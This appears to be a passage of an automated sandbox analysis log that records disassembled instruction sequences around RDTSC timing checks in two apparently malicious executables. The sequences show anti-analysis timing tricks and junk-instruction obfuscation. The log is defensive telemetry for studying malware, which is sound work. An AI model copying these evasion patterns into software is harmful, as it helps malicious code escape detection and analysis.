Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F502BD second address: 4F502D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d movzx ecx, di 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50341 second address: 4F50345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50345 second address: 4F50362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B4D second address: 8B4B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4B52 second address: 8B4B57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4ED1 second address: 8B4ED7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4ED7 second address: 8B4EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F503C1 second address: 4F503C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F503C5 second address: 4F503D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F503D6 second address: 4F5048F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F33C5AF17D7h 0x00000009 and eax, 0EFA029Eh 0x0000000f jmp 00007F33C5AF17D9h 0x00000014 popfd 0x00000015 mov si, 4667h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F33C5AF17D3h 0x00000024 sub ecx, 43038CAEh 0x0000002a jmp 00007F33C5AF17D9h 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F33C5AF17D0h 0x00000036 xor ch, 00000028h 0x00000039 jmp 00007F33C5AF17CBh 0x0000003e popfd 0x0000003f popad 0x00000040 xchg eax, ebp 0x00000041 pushad 0x00000042 call 00007F33C5AF17D4h 0x00000047 mov esi, 002B0221h 0x0000004c pop esi 0x0000004d push eax 0x0000004e push edx 0x0000004f mov eax, edi 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50518 second address: 4F5057C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F34345FA4EBh 0x0000000e push 74DF27D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [74E80140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 pushad 0x00000054 mov dx, cx 0x00000057 pushfd 0x00000058 jmp 00007F33C4756A38h 0x0000005d or ax, 9468h 0x00000062 jmp 00007F33C4756A2Bh 0x00000067 popfd 0x00000068 popad 0x00000069 and dword ptr [ebp-04h], 00000000h 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F33C4756A35h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5057C second address: 4F50582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50582 second address: 4F50586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50586 second address: 4F5058A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F505FC second address: 4F506D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F33C4756A32h 0x00000009 add ax, 9048h 0x0000000e jmp 00007F33C4756A2Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F33C4756A38h 0x0000001a xor si, D2A8h 0x0000001f jmp 00007F33C4756A2Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 sub edx, esi 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F33C4756A35h 0x00000031 sub si, B6C6h 0x00000036 jmp 00007F33C4756A31h 0x0000003b popfd 0x0000003c pushfd 0x0000003d jmp 00007F33C4756A30h 0x00000042 adc ch, 00000068h 0x00000045 jmp 00007F33C4756A2Bh 0x0000004a popfd 0x0000004b popad 0x0000004c mov edi, dword ptr [ebp+08h] 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 pushfd 0x00000053 jmp 00007F33C4756A2Bh 0x00000058 add al, FFFFFFAEh 0x0000005b jmp 00007F33C4756A39h 0x00000060 popfd 0x00000061 pushad 0x00000062 popad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F506D3 second address: 4F50705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 jmp 00007F33C5AF17D6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e dec edi 0x0000000f pushad 0x00000010 mov esi, 620CAEEDh 0x00000015 mov ch, 4Ch 0x00000017 popad 0x00000018 lea ebx, dword ptr [edi+01h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50705 second address: 4F50709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50709 second address: 4F5070D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5070D second address: 4F50713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50713 second address: 4F50748 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c jmp 00007F33C5AF17CEh 0x00000011 inc edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ah, 9Fh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50748 second address: 4F5074E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5074E second address: 4F50752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50752 second address: 4F50795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007F33C4756A30h 0x00000012 jne 00007F34345EED2Fh 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F33C4756A37h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50795 second address: 4F507BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F507BA second address: 4F507BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F507BE second address: 4F507C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F507C4 second address: 4F507CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F507CA second address: 4F507CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F507CE second address: 4F50884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b shr ecx, 02h 0x0000000e jmp 00007F33C4756A30h 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 rep movsd 0x00000019 rep movsd 0x0000001b rep movsd 0x0000001d pushad 0x0000001e mov cl, E2h 0x00000020 mov bh, BEh 0x00000022 popad 0x00000023 mov ecx, edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F33C4756A30h 0x0000002c add cx, 8F28h 0x00000031 jmp 00007F33C4756A2Bh 0x00000036 popfd 0x00000037 pushfd 0x00000038 jmp 00007F33C4756A38h 0x0000003d sub ecx, 5133C188h 0x00000043 jmp 00007F33C4756A2Bh 0x00000048 popfd 0x00000049 popad 0x0000004a and ecx, 03h 0x0000004d pushad 0x0000004e jmp 00007F33C4756A34h 0x00000053 popad 0x00000054 rep movsb 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F33C4756A39h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50884 second address: 4F5088A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5088A second address: 4F508A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov si, 1253h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F508A8 second address: 4F508CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 78CBh 0x00000008 popad 0x00000009 mov eax, ebx 0x0000000b pushad 0x0000000c mov dx, ax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F33C5AF17D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F508CF second address: 4F508EF instructions: 0x00000000 rdtsc 0x00000002 call 00007F33C4756A32h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov ecx, dword ptr [ebp-10h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F508EF second address: 4F508F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F508F3 second address: 4F5090F instructions: 0x00000000 rdtsc 0x00000002 mov dh, FBh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov al, 68h 0x00000008 popad 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F33C4756A2Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5090F second address: 4F50947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F33C5AF17D0h 0x00000013 jmp 00007F33C5AF17D5h 0x00000018 popfd 0x00000019 mov dx, cx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F50947 second address: 4F509AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F33C4756A33h 0x00000013 jmp 00007F33C4756A33h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F33C4756A38h 0x0000001f add si, 6A18h 0x00000024 jmp 00007F33C4756A2Bh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F509AF second address: 4F509FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C5AF17D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F33C5AF17CEh 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F33C5AF17CCh 0x00000019 xor ax, EED8h 0x0000001e jmp 00007F33C5AF17CBh 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F509FD second address: 4F50518 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F33C4756A38h 0x00000008 or cx, B938h 0x0000000d jmp 00007F33C4756A2Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov cx, 436Fh 0x00000019 popad 0x0000001a leave 0x0000001b pushad 0x0000001c movzx esi, di 0x0000001f push edi 0x00000020 call 00007F33C4756A38h 0x00000025 pop esi 0x00000026 pop edi 0x00000027 popad 0x00000028 retn 0008h 0x0000002b cmp dword ptr [ebp-2Ch], 10h 0x0000002f mov eax, dword ptr [ebp-40h] 0x00000032 jnc 00007F33C4756A25h 0x00000034 push eax 0x00000035 lea edx, dword ptr [ebp-00000590h] 0x0000003b push edx 0x0000003c call esi 0x0000003e push 00000008h 0x00000040 jmp 00007F33C4756A36h 0x00000045 push 06BB764Dh 0x0000004a jmp 00007F33C4756A31h 0x0000004f add dword ptr [esp], 6E2AA5DBh 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F33C4756A2Dh 0x0000005d rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 1FF178 second address: 1FF17C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 1FF17C second address: 1FF191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 1FF191 second address: 1FF199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 1FF199 second address: 1FE9E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F33C4756A26h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d add dword ptr [ebp+122D1D93h], ecx 0x00000013 push dword ptr [ebp+122D036Dh] 0x00000019 clc 0x0000001a call dword ptr [ebp+122D2A83h] 0x00000020 pushad 0x00000021 xor dword ptr [ebp+122D1D93h], ecx 0x00000027 xor eax, eax 0x00000029 pushad 0x0000002a mov dword ptr [ebp+122D1D74h], eax 0x00000030 popad 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 cld 0x00000036 mov dword ptr [ebp+122D35F9h], eax 0x0000003c jmp 00007F33C4756A31h 0x00000041 mov esi, 0000003Ch 0x00000046 add dword ptr [ebp+122D1D74h], esi 0x0000004c add esi, dword ptr [esp+24h] 0x00000050 mov dword ptr [ebp+122D1D74h], edi 0x00000056 pushad 0x00000057 mov edx, dword ptr [ebp+122D3619h] 0x0000005d sub eax, 511BE242h 0x00000063 popad 0x00000064 lodsw 0x00000066 sub dword ptr [ebp+122D1D93h], edi 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 mov dword ptr [ebp+122D1D93h], ebx 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a jmp 00007F33C4756A39h 0x0000007f pushad 0x00000080 and ah, FFFFFFC2h 0x00000083 sub dword ptr [ebp+122D219Ah], ecx 0x00000089 popad 0x0000008a nop 0x0000008b jmp 00007F33C4756A36h 0x00000090 push eax 0x00000091 push edx 0x00000092 push eax 0x00000093 push edx 0x00000094 jmp 00007F33C4756A38h 0x00000099 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3671A5 second address: 3671A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3671A9 second address: 3671C8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F33C4756A30h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop esi 0x00000010 pushad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 37FBA8 second address: 37FBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 37FBB2 second address: 37FBB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 37FBB8 second address: 37FBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 37FD7A second address: 37FDAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F33C4756A36h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F33C4756A32h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 37FDAC second address: 37FDB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 383ADF second address: 383B24 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F33C4756A28h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007F33C4756A36h 0x00000019 popad 0x0000001a pop edx 0x0000001b mov eax, dword ptr [eax] 0x0000001d jne 00007F33C4756A2Ah 0x00000023 push edx 0x00000024 push esi 0x00000025 pop esi 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b ja 00007F33C4756A34h 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 383C4E second address: 383CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17D7h 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c jnc 00007F33C5AF17CEh 0x00000012 push edx 0x00000013 jc 00007F33C5AF17C6h 0x00000019 pop edx 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e pushad 0x0000001f jl 00007F33C5AF17C8h 0x00000025 jng 00007F33C5AF17CCh 0x0000002b popad 0x0000002c mov eax, dword ptr [eax] 0x0000002e jmp 00007F33C5AF17CDh 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 jnp 00007F33C5AF17DCh 0x0000003d pop eax 0x0000003e stc 0x0000003f push 00000003h 0x00000041 mov di, cx 0x00000044 push 00000000h 0x00000046 mov edx, edi 0x00000048 call 00007F33C5AF17D5h 0x0000004d cld 0x0000004e pop esi 0x0000004f push 00000003h 0x00000051 push 89FAB285h 0x00000056 push esi 0x00000057 jnc 00007F33C5AF17CCh 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A3214 second address: 3A3219 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 36C304 second address: 36C30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A114E second address: 3A116A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F33C4756A26h 0x00000008 jmp 00007F33C4756A32h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A116A second address: 3A118E instructions: 0x00000000 rdtsc 0x00000002 je 00007F33C5AF17C8h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F33C5AF17D3h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A118E second address: 3A1192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1583 second address: 3A15AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C5AF17D3h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c jmp 00007F33C5AF17CCh 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1ABC second address: 3A1ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33C4756A2Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1ACB second address: 3A1AD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F33C5AF17C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1AD5 second address: 3A1B13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F33C4756A2Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F33C4756A2Eh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007F33C4756A35h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1B13 second address: 3A1B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 push edx 0x00000008 jmp 00007F33C5AF17D9h 0x0000000d js 00007F33C5AF17C6h 0x00000013 pop edx 0x00000014 jno 00007F33C5AF17CEh 0x0000001a push eax 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1CB2 second address: 3A1CC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33C4756A2Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1CC0 second address: 3A1CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F33C5AF17DCh 0x0000000c jmp 00007F33C5AF17D4h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1CE6 second address: 3A1CEC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1E38 second address: 3A1E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1E3E second address: 3A1E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A1E42 second address: 3A1E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A2297 second address: 3A229D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIIIIJKFCA.exe	RDTSC instruction interceptor: First address: 3A229D second address: 3A22A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
